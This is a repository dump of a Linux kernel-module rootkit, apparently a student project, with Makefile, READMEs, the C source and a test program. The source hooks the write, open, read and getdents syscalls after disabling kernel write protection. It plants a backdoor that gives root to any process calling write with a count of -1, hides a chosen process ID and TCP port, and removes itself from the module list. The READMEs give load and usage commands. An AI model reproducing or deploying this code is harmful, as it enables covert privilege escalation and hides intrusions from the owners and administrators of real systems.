├── .gitignore ├── Makefile ├── README.md ├── README.txt ├── rootkit.c └── testRootPart.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := rootkit.o 2 | 3 | KDIR := /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | default: 7 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 8 | clean: 9 | make -C $(KDIR) M=$(PWD) clean 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lkm-rootkit 2 | A rootkit implemented as a linux kernel module 3 | 4 | ##Syscall table: 5 | ###NOTICE: 6 | This kernel module is only compatible with 64-bit PCs. 7 | Please do NOT run if your PC is a 32-bit. 8 | 9 | 10 | 11 | To load the 'rootkit' module: 12 | -------------------------------- 13 | make -f Makefile 14 | sudo insmod rootkit.ko 15 | dmesg | tail 16 | 17 | 18 | 19 | To remove the module: 20 | --------------------- 21 | sudo rmmod rootkit 22 | 23 | To be able to get root access: 24 | ------------------------------ 25 | After loading the module, Invoke the write function with the last 26 | parameter (the count) passed as -1 27 | 28 | To be able to hide a port: 29 | ------------------------------ 30 | After loading the module, Isssue the following command 31 | echo "hp PORT_NUMBER" > /proc/rootkitproc 32 | 33 | ----------------------------------------------------------------------------- 34 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | NOTICE:This kernel module is only compatible with 64-bit PCs. Please do NOT run if your PC is a 32-bit. 2 | 3 | To compile the module: 4 | make -f Makefile 5 | 6 | To load the module in kernel: 7 | sudo insmod rootkit.ko 8 | 9 | To remove the module from kernel: 10 | sudo rmmod rootkit 11 | 12 | To check whether the module is loaded: 13 | lsmod | grep rootkit 14 | 15 | To view kernel printed msgs: 16 | dmesg | tail 17 | 18 | To hide a certain PID: 19 | echo "hide_proc " > /proc/rootkitproc 20 | 21 | To unhide a certain PID: 22 | echo "show_proc " > /proc/rootkitproc 23 | -------------------------------------------------------------------------------- /rootkit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | MODULE_LICENSE("GPL"); 23 | #define BUF_SIZE 1024 24 | #define END_MEM ULLONG_MAX 25 | #define START_MEM PAGE_OFFSET 26 | #define TCP_LINE_SIZE 150 27 | #define END_MEM ULLONG_MAX 28 | #define PROC_FILE_NAME "rootkitproc" 29 | #define HIDE_PROC_CMD "hide_proc" 30 | #define SHOW_PROC_CMD "show_proc" 31 | 32 | long proc_pid; 33 | bool proc_hidden = false; 34 | int PORT_TO_HIDE = 631; 35 | int TCP_fd = -10; 36 | static struct proc_dir_entry *proc_file; 37 | static unsigned long procfs_buffer_size = 0; 38 | struct list_head *prev_module; 39 | struct list_head *prev_kobj; 40 | unsigned long long *syscall_table; 41 | static char buff1[BUF_SIZE]; 42 | static char buff2[BUF_SIZE]; 43 | bool module_hidden; 44 | 45 | 46 | asmlinkage int (*original_write)(unsigned int, const char __user *, size_t); 47 | asmlinkage int (*modified_write)(unsigned int, const char __user *, size_t); 48 | 49 | // original functions 50 | asmlinkage int (*original_open)(const char *, int); 51 | asmlinkage long (*original_read)(int, char __user *, size_t); 52 | asmlinkage int (*orig_getdents)(unsigned int, struct linux_dirent *, unsigned int); 53 | 54 | struct linux_dirent { 55 | unsigned long d_ino; 56 | unsigned long d_off; 57 | unsigned short d_reclen; 58 | char d_name[256]; 59 | char pad; 60 | char d_type; 61 | }; 62 | 63 | void enable_write_protection(void) { 64 | write_cr0 (read_cr0 () | 0x10000); 65 | return; 66 | } 67 | 68 | void disable_write_protection(void) { 69 | write_cr0 (read_cr0 () & (~ 0x10000)); 70 | return; 71 | } 72 | 73 | void hide_module(void) { 74 | if (module_hidden) return; 75 | prev_module = THIS_MODULE->list.prev; 76 | prev_kobj = THIS_MODULE->mkobj.kobj.entry.prev; 77 | 78 | mutex_lock(&module_mutex); 79 | 80 | list_del_rcu(&THIS_MODULE->list); 81 | kobject_del(&THIS_MODULE->mkobj.kobj); 82 | list_del_rcu(&THIS_MODULE->mkobj.kobj.entry); 83 | 84 | synchronize_rcu(); 85 | kfree(THIS_MODULE->notes_attrs); 86 | THIS_MODULE->notes_attrs = NULL; 87 | kfree(THIS_MODULE->sect_attrs); 88 | THIS_MODULE->sect_attrs = NULL; 89 | kfree(THIS_MODULE->mkobj.mp); 90 | THIS_MODULE->mkobj.mp = NULL; 91 | THIS_MODULE->modinfo_attrs->attr.name = NULL; 92 | kfree(THIS_MODULE->mkobj.drivers_dir); 93 | THIS_MODULE->mkobj.drivers_dir = NULL; 94 | 95 | mutex_unlock(&module_mutex); 96 | module_hidden = true; 97 | } 98 | 99 | void show_module(void) { 100 | if (!module_hidden) return; 101 | mutex_lock(&module_mutex); 102 | list_add_rcu(&THIS_MODULE->list, prev_module); 103 | //list_add_rcu(&THIS_MODULE->mkobj.kobj.entry, prev_kobj); 104 | synchronize_rcu(); 105 | mutex_unlock(&module_mutex); 106 | module_hidden = false; 107 | } 108 | 109 | long str_to_lng(const char *str) 110 | { 111 | long res = 0, mul = 1; 112 | const char *ptr; 113 | 114 | for(ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++); 115 | ptr--; 116 | 117 | while(ptr >= str) { 118 | if(*ptr < '0' || *ptr > '9') 119 | break; 120 | 121 | res += (*ptr - '0') * mul; 122 | mul *= 10; 123 | ptr--; 124 | } 125 | return res; 126 | } 127 | 128 | // splits the input into 2 commands 129 | void split_buffer(char* procfs_buffer) 130 | { 131 | int i,j; 132 | bool flag = true; 133 | 134 | for(i = 0; i < BUF_SIZE; i++) 135 | { 136 | if(procfs_buffer[i] == ' ' || procfs_buffer[i] == '\n') 137 | { 138 | buff1[i++] = '\0'; 139 | if(procfs_buffer[i] == '\n') flag = false; 140 | break; 141 | } 142 | 143 | buff1[i] = procfs_buffer[i]; 144 | } 145 | 146 | if(!flag) return; 147 | 148 | for(j = 0; j < BUF_SIZE && i < BUF_SIZE; i++, j++) 149 | { 150 | if(procfs_buffer[i] == '\n') 151 | { 152 | buff2[i] = '\0'; 153 | break; 154 | } 155 | 156 | buff2[j] = procfs_buffer[i]; 157 | } 158 | } 159 | 160 | asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) 161 | { 162 | int result, bp; 163 | char *kdirp; 164 | struct linux_dirent *d; 165 | 166 | struct files_struct *current_files; 167 | struct fdtable *files_table; 168 | struct path file_path; 169 | char pbuf[256], *pathname = NULL; 170 | long pid = 0; 171 | 172 | // run real getdents 173 | result = (*orig_getdents)(fd,dirp,count); 174 | if (result <= 0) 175 | return result; 176 | 177 | // get pathname 178 | current_files = current->files; 179 | files_table = files_fdtable(current_files); 180 | 181 | file_path = files_table->fd[fd]->f_path; 182 | pathname = d_path(&file_path,pbuf,256 * sizeof(char)); 183 | 184 | // copy from user to kernelspace; 185 | if (!access_ok(VERIFY_READ,dirp,result)) 186 | return EFAULT; 187 | if ((kdirp = kmalloc(result,GFP_KERNEL)) == NULL) 188 | return EINVAL; 189 | if (copy_from_user(kdirp,dirp,result)) 190 | return EFAULT; 191 | 192 | // check dirp for files to hide 193 | for (bp = 0; bp < result; bp += d->d_reclen) { 194 | d = (struct linux_dirent *) (kdirp + bp); 195 | // process hiding 196 | if (!strcmp(pathname,"/proc")) { 197 | pid = str_to_lng(d->d_name); // convert string into long 198 | if (pid == proc_pid) { 199 | // shifting memory by record length to hide traces of the pid if it matched the current record 200 | memmove(kdirp + bp,kdirp + bp + d->d_reclen, 201 | result - bp - d->d_reclen); 202 | result -= d->d_reclen; 203 | bp -= d->d_reclen; 204 | } 205 | } 206 | } 207 | 208 | // copy from kernel to userspace 209 | if (!access_ok(VERIFY_WRITE,dirp,result)) 210 | return EFAULT; 211 | if (copy_to_user(dirp,kdirp,result)) 212 | return EFAULT; 213 | kfree(kdirp); 214 | 215 | // return number of bytes read 216 | return result; 217 | } 218 | 219 | // replaces getdents original address with hacked routine and saves the original address of getdents 220 | void hack_getdents(void) 221 | { 222 | orig_getdents = syscall_table[__NR_getdents]; 223 | syscall_table[__NR_getdents] = hacked_getdents; 224 | } 225 | 226 | // restores the original address of getdents 227 | void restore_getdents(void) 228 | { 229 | syscall_table[__NR_getdents] = orig_getdents; 230 | } 231 | 232 | // hijacked open function 233 | asmlinkage int new_open(const char* path_name, int flags) { 234 | // sets the hijack flag indicating that we should hide the TCP port 235 | if (strstr(path_name, "tcp") != NULL && strstr(path_name, "tcp6") == NULL) { 236 | printk("path name is: %s \n", path_name); 237 | TCP_fd = (*original_open)(path_name, flags); 238 | return TCP_fd; 239 | } 240 | return (*original_open)(path_name, flags); 241 | } 242 | 243 | // hijacked read function 244 | asmlinkage long new_read(int fd, char __user *buf, size_t count) { 245 | long ret, temp; 246 | long i = 0; 247 | char * kernel_buf; 248 | 249 | ret = original_read(fd, buf, count); 250 | if (fd != TCP_fd) 251 | return ret; 252 | kernel_buf = kmalloc(count, GFP_KERNEL); 253 | // Kernel Problem 254 | if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { 255 | printk("FAILLLLLLED KERNEL PROBLEM"); 256 | return ret; 257 | } 258 | // ignoring the first line of the file 259 | i += TCP_LINE_SIZE; 260 | 261 | for (; i < ret; i = i + TCP_LINE_SIZE) { 262 | int j = 0; 263 | int val = 0; 264 | for (; j < 4; j++) { 265 | if (kernel_buf[i + 15 + j] <= 57) 266 | val = val + (kernel_buf[i + 15 + j] - 48) * (1 << (4 * (3 - j))); 267 | else 268 | val = val + (kernel_buf[i + 15 + j] - 55) * (1 << (4 * (3 - j))); 269 | } 270 | if (val != PORT_TO_HIDE) 271 | continue; 272 | temp = i; 273 | for (; temp < ret - TCP_LINE_SIZE; temp++) { 274 | kernel_buf[temp] = kernel_buf[temp + TCP_LINE_SIZE]; 275 | } 276 | for (temp = ret - (TCP_LINE_SIZE + 1); temp < ret; temp++) { 277 | kernel_buf[temp] = '\0'; 278 | } 279 | count = count - TCP_LINE_SIZE; 280 | } 281 | // Kernel Problem 282 | if (copy_to_user(buf, kernel_buf, count)) { 283 | printk("FAILLLLLLED KERNEL PROBLEM"); 284 | } 285 | kfree(kernel_buf); 286 | return ret; 287 | } 288 | 289 | /* PROC FILE FUNCTIONS */ 290 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) { 291 | printk("DONT YOU EVER TRY TO READ THIS FILE OR I AM GOING TO DESTROY YOUR MOST SECRET DREAMS"); 292 | return 0; 293 | } 294 | 295 | int procfile_write(struct file *file, const char *buf, unsigned long count, void *data) { 296 | printk("writing to the proc file\n"); 297 | char * kernel_buf = kmalloc(count, GFP_KERNEL); 298 | bool temp = 0; 299 | unsigned long j = 0; 300 | int c; 301 | 302 | split_buffer(buf); 303 | if (!kernel_buf || copy_from_user(kernel_buf, buf, count)) { 304 | printk("FAILLLLLLED KERNEL PROBLEM\n"); 305 | return count; 306 | } 307 | 308 | if (strncmp(HIDE_PROC_CMD, buff1, 9) == 0) 309 | { 310 | proc_pid = str_to_lng(buff2); 311 | printk("HIDING PID %lld\n", proc_pid); 312 | if(!proc_hidden){ 313 | disable_write_protection(); 314 | hack_getdents(); 315 | enable_write_protection(); 316 | proc_hidden = true; 317 | } 318 | return count; 319 | } 320 | 321 | else if (strncmp(SHOW_PROC_CMD, buff1, 9) == 0) 322 | { 323 | proc_pid = str_to_lng(buff2); 324 | printk("SHOWING PID %lld\n", proc_pid); 325 | if(proc_hidden){ 326 | disable_write_protection(); 327 | restore_getdents(); 328 | enable_write_protection(); 329 | proc_hidden = false; 330 | } 331 | return count; 332 | } 333 | 334 | if (kernel_buf[0] == 'h' && kernel_buf[1] == 'm') { 335 | printk("hiding module\n"); 336 | hide_module(); 337 | } 338 | 339 | if (kernel_buf[0] == 's' && kernel_buf[1] == 'm') { 340 | printk("showing module\n"); 341 | show_module(); 342 | } 343 | // hp port number decimal value 344 | if (kernel_buf[0] == 'h' && kernel_buf[1] == 'p') { 345 | PORT_TO_HIDE = 0; 346 | for (j = 3; j < count ; j++) { 347 | c = kernel_buf[j] - '0'; 348 | if (c >= 0 && c <= 9) 349 | temp = true; 350 | if (!temp) 351 | break; 352 | PORT_TO_HIDE = PORT_TO_HIDE * 10; 353 | PORT_TO_HIDE = PORT_TO_HIDE + c; 354 | temp = false; 355 | } 356 | printk("NEW PORT TO HIDE IS: %d\n ", PORT_TO_HIDE); 357 | } 358 | printk("finished writing to the proc file\n"); 359 | return count; 360 | } 361 | 362 | static const struct file_operations proc_file_fops = { 363 | .owner = THIS_MODULE, 364 | .read = procfile_read, 365 | .write = procfile_write, 366 | }; 367 | 368 | /* END OF PROCFILE FUNCTIONS */ 369 | 370 | unsigned long **find(void) { 371 | unsigned long **sctable; 372 | unsigned long int i = START_MEM; 373 | while ( i < END_MEM) { 374 | sctable = (unsigned long **)i; 375 | if ( sctable[__NR_close] == (unsigned long *) sys_close) { 376 | return &sctable[0]; 377 | } 378 | i += sizeof(void *); 379 | } 380 | return NULL; 381 | } 382 | 383 | 384 | // the method that gives the process root privileges 385 | void set_root(void) { 386 | struct user_namespace *ns = current_user_ns(); 387 | struct cred *new_cred; 388 | 389 | kuid_t kuid = make_kuid(ns, 0); 390 | kgid_t kgid = make_kgid(ns, 0); 391 | kuid_t rootUid; 392 | 393 | if(!uid_valid(kuid)) { 394 | printk("Not Valid..\n"); 395 | } 396 | 397 | rootUid.val = 0; 398 | 399 | new_cred = prepare_creds(); 400 | 401 | if(new_cred != NULL) { 402 | if(!uid_eq(new_cred ->uid, rootUid)){ 403 | printk("\nProcess is not root\n"); 404 | } else { 405 | printk("\nProcess is already root\n"); 406 | } 407 | 408 | new_cred ->uid = kuid; 409 | new_cred ->gid = kgid; 410 | new_cred ->euid = kuid; 411 | new_cred ->egid = kgid; 412 | new_cred ->suid = kuid; 413 | new_cred ->sgid = kgid; 414 | new_cred ->fsuid = kuid; 415 | new_cred ->fsgid = kgid; 416 | 417 | commit_creds(new_cred ); 418 | 419 | if(uid_eq(new_cred ->uid, rootUid)){ 420 | printk("\nProcess is now root\n"); 421 | } else { 422 | printk("\nProcess is not root\n"); 423 | } 424 | } else { 425 | abort_creds(new_cred ); 426 | printk("Cannot get credentials of running process"); 427 | } 428 | } 429 | 430 | // the new modified write function that will call the method that gives root access. 431 | asmlinkage int new_write(unsigned int fd, const char __user *buf, size_t count) { 432 | 433 | // printk(KERN_ALERT "WRITE HIJACKED"); 434 | if(count == -1){ 435 | set_root(); 436 | return -1; 437 | } 438 | return (*original_write)(fd, buf, count); 439 | } 440 | 441 | // the method that hijack the write syscall 442 | void hijack_write_syscall(void) { 443 | 444 | printk(KERN_ALERT "\nHIJACK INIT\n"); 445 | 446 | disable_write_protection(); 447 | 448 | original_write = (void *)syscall_table[__NR_write]; 449 | printk("\n before write hijacking: %llx\n", (unsigned long long) original_write); 450 | 451 | syscall_table[__NR_write] = (unsigned long long) new_write; 452 | modified_write = (void *)syscall_table[__NR_write]; 453 | printk("\n after write hijacking %llx\n", (unsigned long long) modified_write); 454 | 455 | enable_write_protection(); 456 | } 457 | 458 | // the method that restore the original write syscall 459 | void restore_hijacked_write_syscall(void) { 460 | 461 | disable_write_protection(); 462 | syscall_table[__NR_write] = (unsigned long long) original_write; 463 | enable_write_protection(); 464 | printk("\nHijacked write Syscall is Restored\n"); 465 | 466 | } 467 | 468 | static int init(void) { 469 | // hide_module(); 470 | printk("\nModule starting...\n"); 471 | syscall_table = (unsigned long long*) find(); 472 | if ( syscall_table != NULL ) { 473 | printk("Syscall table found at %llx\n", (unsigned long long) syscall_table); 474 | } else { 475 | printk("Syscall table not found!\n"); 476 | } 477 | 478 | hijack_write_syscall(); 479 | 480 | original_read = (void *)syscall_table[__NR_read]; 481 | original_open = (void *)syscall_table[__NR_open]; 482 | disable_write_protection(); 483 | syscall_table[__NR_open] = new_open; 484 | syscall_table[__NR_read] = new_read; 485 | enable_write_protection(); 486 | 487 | proc_file = proc_create( PROC_FILE_NAME, 0666, NULL, &proc_file_fops); 488 | if (proc_file == NULL) { 489 | remove_proc_entry(PROC_FILE_NAME, NULL); 490 | printk("ERROR ALLOCATING FILE"); 491 | return -ENOMEM; 492 | } 493 | printk("proc file created\n"); 494 | 495 | return 0; 496 | } 497 | 498 | static void exit_(void) { 499 | disable_write_protection(); 500 | syscall_table[__NR_open] = original_open; 501 | syscall_table[__NR_read] = original_read; 502 | enable_write_protection(); 503 | printk("Module ending\n"); 504 | remove_proc_entry(PROC_FILE_NAME, NULL); 505 | restore_hijacked_write_syscall(); 506 | return; 507 | } 508 | 509 | module_init(init); 510 | module_exit(exit_); 511 | -------------------------------------------------------------------------------- /testRootPart.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main() { 9 | 10 | int fd_r=0,fd_w=0; 11 | int w_ret=100; 12 | fd_r = open("reader.txt", O_RDONLY); 13 | if(fd_r == -1) 14 | perror("fd_r open"); 15 | 16 | fd_w = open("writer.txt",O_CREAT,S_IRWXU); 17 | if(fd_w == -1) 18 | perror("fd_w open"); 19 | 20 | char *buf = (char *)malloc(50); 21 | 22 | printf("My process ID before calling write: %d\n", getuid()); 23 | 24 | int n = write(fd_w,buf, -1); 25 | 26 | printf("My process ID after calling write: %d\n", getuid()); 27 | 28 | return 0; 29 | } --------------------------------------------------------------------------------